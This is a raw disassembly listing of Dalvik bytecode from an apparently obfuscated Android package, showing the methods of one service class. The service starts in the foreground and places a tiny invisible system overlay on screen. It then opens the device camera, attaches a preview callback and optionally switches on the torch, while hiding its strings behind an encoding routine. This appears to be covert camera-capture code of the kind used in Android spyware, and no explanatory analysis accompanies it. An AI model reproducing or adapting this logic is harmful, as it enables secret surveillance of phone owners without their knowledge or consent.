    0008521cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00085222return-void
    000851f8
    00085224
    00085224cmf0.c3b5bm90zq.patch.C5::a(java.lang.String, int):
    00085234new-instance v0, Ljava/lang/Thread;
    00085238new-instance v1, Lcmf0/c3b5bm90zq/patch/C5$1;
    0008523cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C5$1;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Ljava/lang/String;I)V
    00085242invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00085248invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008524ereturn-void
    00085224
    00085250
    00085250cmf0.c3b5bm90zq.patch.C5::a():
    00085260invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
    00085266move-result-object v0
    00085268if-eqz v0, :cond_9
    0008526cinvoke-virtual {v0}, Landroid/hardware/Camera;->release()V
    00085272const/4 v0, 0x0
    00085274return v0
    00085276move-exception v0
    00085278goto :goto_43
    0008527amove-exception v0
    0008527cnew-instance v1, Ljava/lang/StringBuilder;
    00085280invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00085286sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008528aconst-wide/16 v4, 0x45
    0008528einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085294move-result-object v2
    00085296invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008529csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000852a0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852a6invoke-virtual {v0}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
    000852acmove-result-object v0
    000852aeinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852b4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000852b8invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852besget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000852c2const-wide/16 v4, 0x53
    000852c6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000852ccmove-result-object v0
    000852ceinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852d4invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000852damove-result-object v0
    000852dcinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000852e2const/4 v0, 0x1
    000852e4return v0
    000852e6throw v0
    00085250
    000852e8
    000852e8 struct try_item
    000852e8 start_addr uint32 0x85260
    000852ec insn_count int 4
    000852ee handler_off uint16 0x852f9
    000852f0
    000852f0 struct try_item
    000852f0 start_addr uint32 0x8527c
    000852f4 insn_count int 51
    000852f6 handler_off uint16 0x852fe
    000852f8
    000852f8 struct encoded_catch_handler_list
    000852f8 size int 2
    000852f9
    000852f9 struct encoded_catch_handler ← 0x852ee
    000852f9 size int64 -1
    000852fa handlers[0].type_idx int 0x59dc
    000852fc handlers[0].addr uint32 0x8527a
    000852fd catch_all_addr uint32 0x85276
    000852fe
    000852fe struct encoded_catch_handler ← 0x852f6
    000852fe size int64 0
    000852ff catch_all_addr uint32 0x85276
    00085300
    00085300cmf0.c3b5bm90zq.patch.C5::b():
    00085310const/4 v0, 0x0
    00085312iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00085316sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008531aif-eqz v1, :cond_14
    0008531esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085322const/4 v2, 0x0
    00085324invoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
    0008532asget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008532einvoke-virtual {v1}, Landroid/hardware/Camera;->release()V
    00085334sput-object v2, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085338invoke-direct {v3}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
    0008533eiget-boolean v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    00085342if-nez v1, :cond_22
    00085346iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    0008534aiget-object v2, v3, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    0008534einvoke-interface {v1, v2}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
    00085354iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085358iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008535creturn-void
    00085300
    0008535e
    0008535e struct code_item_padding
    0008535e padding uint16 0x0000
    00085360
    00085360 struct try_item
    00085360 start_addr uint32 0x85316
    00085364 insn_count int 35
    00085366 handler_off uint16 0x85369
    00085368
    00085368 struct encoded_catch_handler_list
    00085368 size int 1
    00085369
    00085369 struct encoded_catch_handler ← 0x85366
    00085369 size int64 1
    0008536a handlers[0].type_idx int 0x5994
    0008536c handlers[0].addr uint32 0x8535c
    0008536d
    0008536d // align 0x10
    00085370
    00085370cmf0.c3b5bm90zq.patch.C5::onBind(android.content.Intent):
    00085380const/4 v1, 0x0
    00085382return-object v1
    00085370
    00085384
    00085384cmf0.c3b5bm90zq.patch.C5::onCreate():
    00085394invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008539amove-result-object v0
    0008539cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
    000853a2move-result-object v0
    000853a4if-eqz v0, :cond_f
    000853a8const/16 v1, 0x7d4
    000853acinvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->startForeground(ILandroid/app/Notification;)V
    000853b2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->q:I
    000853b6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->d:I
    000853basget v0, Lcmf0/c3b5bm90zq/patch/C11;->r:I
    000853besput v0, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    000853c2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->s:I
    000853c6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    000853casget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    000853cesput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    000853d2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    000853d6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    000853dasget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    000853desput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000853e2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    000853e6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    000853easget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    000853eesput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    000853f2const-wide/16 v0, 0x0
    000853f6iput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    000853faiput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    000853feinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->a()Z
    00085404move-result v0
    00085406iput-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008540aiget-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008540eif-nez v0, :cond_e6
    00085412const-string v0, "window"
    00085416invoke-virtual {v7, v0}, Lcmf0/c3b5bm90zq/patch/C5;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008541cmove-result-object v0
    0008541echeck-cast v0, Landroid/view/WindowManager;
    00085422iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    00085426new-instance v0, Landroid/view/SurfaceView;
    0008542ainvoke-direct {v0, v7}, Landroid/view/SurfaceView;-><init>(Landroid/content/Context;)V
    00085430iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085434new-instance v0, Landroid/view/WindowManager$LayoutParams;
    00085438const/4 v2, 0x1
    0008543aconst/4 v3, 0x1
    0008543cconst/16 v4, 0x7d6
    00085440const/high16 v5, 0x40000
    00085444const/4 v6, -0x3
    00085446move-object v1, v0
    00085448invoke-direct/range {v1 .. v6}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
    0008544eiput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    00085452iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    00085456const/16 v1, 0x33
    0008545aiput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
    0008545eiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    00085462iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085466iget-object v2, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    0008546ainvoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
    00085470iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085474invoke-virtual {v0}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
    0008547amove-result-object v0
    0008547cinvoke-interface {v0, v7}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
    00085482sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00085486invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008548cmove-result-object v1
    0008548esget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085492const-wide/16 v4, 0x57
    00085496invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008549cmove-result-object v2
    0008549einvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000854a4move-result-object v0
    000854a6const-string v1, ""
    000854aaif-ne v0, v1, :cond_99
    000854aeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    000854b4move-result-object v0
    000854b6const v1, 0x7f0c0024
    000854bcinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000854c2move-result-object v0
    000854c4goto :goto_a9
    000854c6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000854cainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000854d0move-result-object v1
    000854d2sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000854d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000854dcmove-result-object v2
    000854deinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000854e4move-result-object v0
    000854e6sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000854eainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000854f0move-result-object v2
    000854f2sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000854f6const-wide/16 v5, 0x58
    000854fainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085500move-result-object v3
    00085502invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00085508move-result-object v1
    0008550aconst-string v2, ""
    0008550eif-ne v1, v2, :cond_cb
    00085512invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    00085518move-result-object v1
    0008551aconst v2, 0x7f0c0022
    00085520invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00085526move-result-object v1
    00085528goto :goto_db
    0008552asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008552einvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00085534move-result-object v2
    00085536sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008553ainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085540move-result-object v3
    00085542invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00085548move-result-object v1
    0008554ainvoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00085550move-result-object v0
    00085552invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
    00085558move-result v0
    0008555ainvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;I)V
    00085560return-void
    00085384
    00085562
    00085562 struct code_item_padding
    00085562 padding uint16 0x0000
    00085564
    00085564 struct try_item
    00085564 start_addr uint32 0x85394
    00085568 insn_count int 15
    0008556a handler_off uint16 0x85575
    0008556c
    0008556c struct try_item
    0008556c start_addr uint32 0x853b2
    00085570 insn_count int 215
    00085572 handler_off uint16 0x85579
    00085574
    00085574 struct encoded_catch_handler_list
    00085574 size int 2
    00085575
    00085575 struct encoded_catch_handler ← 0x8556a
    00085575 size int64 1
    00085576 handlers[0].type_idx int 0x5994
    00085578 handlers[0].addr uint32 0x853b2
    00085579
    00085579 struct encoded_catch_handler ← 0x85572
    00085579 size int64 1
    0008557a handlers[0].type_idx int 0x5994
    0008557c handlers[0].addr uint32 0x85560
    0008557e
    0008557e // align 0x10
    00085580
    00085580cmf0.c3b5bm90zq.patch.C5::onDestroy():
    00085590invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->b()V
    00085596return-void
    00085580
    00085598
    00085598cmf0.c3b5bm90zq.patch.C5::surfaceChanged(android.view.SurfaceHolder, int, int, int):
    000855a8sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855acif-eqz v1, :cond_e
    000855b0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855b4new-instance v2, Lcmf0/c3b5bm90zq/patch/C5$3;
    000855b8invoke-direct {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5$3;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
    000855beinvoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
    000855c4return-void
    00085598
    000855c6
    000855c6 // align 0x8
    000855c8
    000855c8cmf0.c3b5bm90zq.patch.C5::surfaceCreated(android.view.SurfaceHolder):
    000855d8iget-boolean v0, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000855dcif-nez v0, :cond_11e
    000855e0const-wide/16 v0, 0x53
    000855e4const/4 v2, 0x0
    000855e6const-wide/16 v3, 0x45
    000855eaconst/4 v5, 0x1
    000855ecsget v6, Lcmf0/c3b5bm90zq/patch/C5;->d:I
    000855f0invoke-static {v6}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
    000855f6move-result-object v6
    000855f8sput-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855fciput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085600goto :goto_47
    00085602move-exception v6
    00085604iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085608new-instance v7, Ljava/lang/StringBuilder;
    0008560cinvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    00085612sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085616invoke-static {v8, v9, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008561cmove-result-object v8
    0008561einvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085624sget-object v8, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085628invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008562einvoke-virtual {v6}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
    00085634move-result-object v6
    00085636invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008563csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085640invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085646sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008564ainvoke-static {v8, v9, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085650move-result-object v6
    00085652invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085658invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008565emove-result-object v6
    00085660invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085666iget-boolean v6, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    0008566aif-ne v6, v5, :cond_11e
    0008566esget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085672invoke-virtual {v6}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085678move-result-object v6
    0008567asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008567einvoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085684move-result-object v7
    00085686invoke-virtual {v7}, Landroid/hardware/Camera$Parameters;->getSupportedPreviewSizes()Ljava/util/List;
    0008568cmove-result-object v7
    0008568eif-eqz v7, :cond_64
    00085692sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    00085696sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    0008569ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
    000856a0sget v7, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    000856a4if-ne v7, v5, :cond_85
    000856a8invoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    000856aemove-result-object v7
    000856b0sget-object v8, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000856b4invoke-virtual {v8}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    000856bamove-result-object v8
    000856bcinvoke-virtual {v8}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    000856c2move-result-object v8
    000856c4if-eqz v8, :cond_85
    000856c8const-string v8, "torch"
    000856ccinvoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000856d2move-result v7
    000856d4if-eqz v7, :cond_85
    000856d8const-string v7, "torch"
    000856dcinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
    000856e2sget v7, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000856e6if-ne v7, v5, :cond_9a
    000856eainvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
    000856f0move-result-object v7
    000856f2const-string v8, "continuous-video"
    000856f6invoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000856fcmove-result v7
    000856feif-eqz v7, :cond_9a
    00085702const-string v7, "continuous-video"
    00085706invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
    0008570cinvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
    00085712move-result v7
    00085714if-eqz v7, :cond_a5
    00085718sget v7, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    0008571cinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
    00085722sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    00085726sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    0008572ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
    00085730const/16 v7, 0x11
    00085734invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setPreviewFormat(I)V
    0008573asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008573einvoke-virtual {v7, v6}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00085744sget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085748invoke-virtual {v6, v11}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
    0008574enew-instance v11, Ljava/lang/StringBuilder;
    00085752invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
    00085758sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008575cinvoke-static {v6, v7, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085762move-result-object v6
    00085764invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008576asget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008576einvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085774const-string v6, ":)"
    00085778invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008577esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085782invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085788const-string v6, "SpecialMessage"
    0008578cinvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085792invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085798move-result-object v11
    0008579ainvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000857a0sget-object v11, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000857a4invoke-virtual {v11}, Landroid/hardware/Camera;->startPreview()V
    000857aaiput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000857aegoto :goto_11e
    000857b0move-exception v11
    000857b2iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000857b6new-instance v2, Ljava/lang/StringBuilder;
    000857bainvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    000857c0sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000857c4invoke-static {v5, v6, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000857camove-result-object v3
    000857ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857d2sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000857d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857dcinvoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    000857e2move-result-object v11
    000857e4invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857easget-object v11, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000857eeinvoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857f4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000857f8invoke-static {v3, v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000857femove-result-object v11
    00085800invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085806invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008580cmove-result-object v11
    0008580einvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085814return-void
    000855c8